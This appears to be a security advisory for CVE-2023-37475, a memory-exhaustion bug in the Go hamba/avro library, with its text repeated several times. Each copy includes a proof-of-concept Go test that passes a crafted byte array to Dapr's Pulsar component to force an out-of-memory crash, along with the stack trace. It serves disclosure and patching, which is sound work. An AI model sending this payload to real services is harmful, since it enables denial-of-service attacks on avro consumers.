CVE-2023-37475

Hamba avro is a go lang encoder/decoder implementation of the avro codec specification. In affected versions a well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro. The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice and hence an attacker may consume arbitrary amounts of memory which in turn may cause the application to crash. This issue has been addressed in commit b4a402f4 which has been included in release version 2.13.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Hamba avro is a go lang encoder/decoder implementation of the avro codec specification. In affected versions a well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro. The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice and hence an attacker may consume arbitrary amounts of memory which in turn may cause the application to crash. This issue has been addressed in commit b4a402f4 which has been included in release version 2.13.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

A well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro.

Details

The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice.

In the reproducer below, the first few bytes determine the size of the slice.

The root cause is on line 239 here: https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242

PoC

The issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr.

Dapr uses an older version of the avro library, but it is also affected if bumping avro to latest.

To reproduce:

cd /tmp
git clone --depth=1 https://github.com/dapr/components-contrib
cd components-contrib/pubsub/pulsar

now add this test to the pulsar_test.go:

func TestParsePublishMetadata2(t *testing.T) {
        m := &pubsub.PublishRequest{}
        m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
        _, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"})
}

run the test with go test -run=TestParsePublishMetadata2.

You should see this stacktrace:

fatal error: runtime: out of memory                                                                                                                                
                                                                                 
runtime stack:                                                                                                                                                                                                                                                                                                                        
runtime.throw({0xc32c9c?, 0x8000?})                                              
        /usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d                                                                                                                                                                                                                                 
runtime.sysMapOS(0xc000400000, 0x2c00000000?)                                                                                                                      
        /usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb                                                                                                                                                                                                                             
runtime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?)                                                                                                              
        /usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5                                                                                                                                                                                                                                    
runtime.(*mheap).grow(0x11ab260, 0x1600000?)                                     
        /usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832                                                                                                                                                                                                                                
runtime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?)                                                       …

Hamba avro is a go lang encoder/decoder implementation of the avro codec specification. In affected versions a well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro. The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice and hence an attacker may consume arbitrary amounts of memory which in turn may cause the application to crash. This issue has been addressed in commit b4a402f4 which has been included in release version 2.13.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Hamba avro is a go lang encoder/decoder implementation of the avro codec specification. In affected versions a well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro. The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice and hence an attacker may consume arbitrary amounts of memory which in turn may cause the application to crash. This issue has been addressed in commit b4a402f4 which has been included in release version 2.13.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

A well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro.

Details

The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice.

In the reproducer below, the first few bytes determine the size of the slice.

The root cause is on line 239 here: https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242

PoC

The issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr.

Dapr uses an older version of the avro library, but it is also affected if bumping avro to latest.

To reproduce:

cd /tmp
git clone --depth=1 https://github.com/dapr/components-contrib
cd components-contrib/pubsub/pulsar

now add this test to the pulsar_test.go:

func TestParsePublishMetadata2(t *testing.T) {
        m := &pubsub.PublishRequest{}
        m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
        _, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"})
}

run the test with go test -run=TestParsePublishMetadata2.

You should see this stacktrace:

fatal error: runtime: out of memory                                                                                                                                
                                                                                 
runtime stack:                                                                                                                                                                                                                                                                                                                        
runtime.throw({0xc32c9c?, 0x8000?})                                              
        /usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d                                                                                                                                                                                                                                 
runtime.sysMapOS(0xc000400000, 0x2c00000000?)                                                                                                                      
        /usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb                                                                                                                                                                                                                             
runtime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?)                                                                                                              
        /usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5                                                                                                                                                                                                                                    
runtime.(*mheap).grow(0x11ab260, 0x1600000?)                                     
        /usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832                                                                                                                                                                                                                                
runtime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?)                                                       …

Unrestricted memory consumption in github.com/hamba/avro